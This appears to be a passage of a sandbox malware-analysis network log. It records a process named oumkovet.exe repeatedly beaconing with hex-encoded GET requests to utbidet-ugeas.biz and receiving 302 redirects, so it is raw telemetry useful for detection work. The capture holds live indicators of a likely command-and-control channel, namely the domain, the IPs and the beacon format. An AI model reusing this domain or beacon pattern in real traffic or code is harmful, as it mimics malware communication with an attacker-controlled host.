Sep 8, 2024 08:39:59.339648962 CEST	169	OUT	GET /d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:39:59.844613075 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:39:59 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49743	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:39:59.856880903 CEST	201	OUT	GET /d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:00.348927021 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:00 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49745	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:01.121047974 CEST	169	OUT	GET /d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:01.595820904 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:01 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49746	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:01.601562023 CEST	201	OUT	GET /d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:02.096710920 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49748	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:02.520720959 CEST	169	OUT	GET /d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:03.014070988 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:02 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49749	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:03.023323059 CEST	201	OUT	GET /d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:03.505459070 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:03 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49751	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:05.077327013 CEST	169	OUT	GET /d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:05.563189983 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:05 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49752	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:05.569215059 CEST	201	OUT	GET /d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:06.069829941 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:06 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49754	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:06.230283976 CEST	169	OUT	GET /d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:06.731087923 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:06 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49755	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:06.742372036 CEST	201	OUT	GET /d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:07.245237112 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:07 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49757	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:07.699022055 CEST	169	OUT	GET /d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:08.174624920 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:08 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49758	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:08.180389881 CEST	201	OUT	GET /d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:08.684330940 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:08 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49760	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:15.210689068 CEST	169	OUT	GET /d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:15.703301907 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:15 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49761	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:15.715898037 CEST	201	OUT	GET /d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:17.004626989 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:16 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:40:17.004879951 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:16 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:40:17.005017042 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:16 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49763	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:20.929757118 CEST	169	OUT	GET /d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
